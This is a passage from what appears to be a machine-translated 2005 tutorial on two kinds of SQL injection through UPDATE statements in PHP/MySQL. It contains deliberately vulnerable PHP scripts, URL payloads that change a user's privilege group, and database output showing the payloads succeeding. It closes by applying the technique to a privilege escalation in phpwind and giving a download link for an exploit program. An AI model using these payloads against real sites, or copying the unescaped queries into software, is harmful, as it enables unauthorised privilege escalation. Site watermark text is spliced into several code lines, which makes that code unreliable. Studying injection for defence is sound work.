Two modes of UPDATE injection (mysql+php)

Author of this article: SuperHei
Article Nature: Original Release Date: 2005-08-14

1. Test environment network management download dl.bitscn.com

OS: Windowsxp sp2
php: php 4.3.10
mysql 4.1.9
apache 1.3.33

2. Test database structure

--database: `test`
--

-------------------------------------------------- --------

--
-- Table structure `userinfo`
--Network management network www_bitscn_com

CREATE TABLE `userinfo` (
`groudid` varchar(12) NOT NULL default '1',
`user` varchar(12) NOT NULL default 'heige',
`pass` varchar(122) NOT NULL default '123456'
) TYPE=MyISAM;Network Manager u home u.bitsCN.com

--
-- Export the data in the table `userinfo`
--

INSERT INTO `userinfo` VALUES ('2', 'heige', '123456')

3. Test mode

1. The variable does not contain '' or "" China Network Management Alliance bitsCN.com

<?php
//test1.php Mod1
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";

mysql_connect($servername,$dbusername,$dbpassword) or die ("Database connection failed");China Network Management Forum bbs.bitsCN.com

$sql = "update userinfo set pass=$p where user='heige'";// <--$P does not use single quotes

$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);China Network Management Forum bbs.bitsCN.com

echo "<p>SQL Query:$sql<p>";
?>

The script only modifies the pass of user='heige'. If groupid represents the user's permission level, our purpose is to modify the groupid by constructing $p, then we submit:

http://127.0.0.1/test1.php?p=123456,groudid=1

Query in mysql:

mysql> select * from userinfo;
+---------+-------+--------+
| groudid | user | pass |
+---------+-------+--------+
| 1 | heige | 123456 |
+---------+-------+--------+
1 row in set (0.01 sec)

The grudid of user heige has been changed from 2 to 1:)

So we can get that the injection without '' or ""update can be successful. This is our mode 1.

2. Variables with '' or ""

<?php
//test2.php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";

mysql_connect($servername,$dbusername,$dbpassword) or die ("Database connection failed");

$sql = "update userinfo set pass='$p' where user='heige'";//<--$P uses single quotes China Network Management Forum bbs.bitsCN.com

$result = mysql_db_query($dbname, $sql) ;
$userinfo = mysql_fetch_array($result);Network Management Forum bbs_bitsCN_com

echo "<p>SQL Query:$sql<p>";
?>

In order to close 'We construct $p should be 123456',groudid='2Submit: China Network Management Forum bbs.bitsCN.com

http://127.0.0.1/test2.php?p=123456',groudid='1in

gpc= In the case of on, 'becomes', and the submitted statement becomes:

SQL Query:update userinfo set pass='123456',groudid='1' where user='heige'

mysql query:

mysql> select * from userinfo;
+---------+-------+--------------------+
| groudid | user | pass |
+---------+-------+--------------------+
| 2 | heige | 123456',groudid='1 |
+---------+-------+--------------------+
1 row in set (0.00 sec) The network management bitscn_com

groudid has not been modified. So what if the variable is not injected at all when it is '' or ""? Instead, let’s look at mode 2:

<?php
//test3.php Mod2
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";

mysql_connect($servername,$dbusername,$dbpassword) or die ("Database connection failed");

$sql = "update userinfo set pass='$p' where user='heige'";//<--$P uses single quotes network managerujiau.bitscn@com

$result = mysql_db_query($dbname, $sql) ;
mysql_fetch_array($result); //The data of $p is written to the database

$sql= "select pass from userinfo where user='heige'";
$result = mysql_db_query($dbname, $sql);
$userinfo=mysql_fetch_array($result);

echo $userinfo[0]; //Output the pass query to $userinfo[0]

$sql ="update userinfo set pass='$userinfo[0]' where user='heige' ";
$result = mysql_db_query($dbname, $sql);
mysql_fetch_array($result); //Update $userinfo[0] again bitsCN.com

?>

Let's test it and submit it to: network management bitscn_com

http://127.0.0.1/test3.php?p=123456',groudid='1

Return to mysql query: network management forum bbs_bitsCN_com

mysql> select * from userinfo;
+---------+-------+--------+
| groudid | user | pass |
+---------+-------+--------+
| 1 | heige | 123456 |
+---------+-------+--------+
1 row in set (0.00 sec)

HaHa~~ Successfully injected and modified grudid to 1. This is our mode 2. A brief description is as follows:

update --> select --> update

4. Actual mode

Mode 1: Missing

Mode 2: Privilege escalation vulnerability

analysis

update (profile.php injection variable is $proicon, the update statement is, icon='$userdb[icon]')
↓
select (jop.php)
↓
updtate (jop.php) Network Management Forum bbs_bitsCN_com

Exploit: http://www.huij.net/9xiao/up/phpwind-exploit.exe

5. Acknowledgments

Special thanks to friends such as saiy for their discussions and help. Thanks!!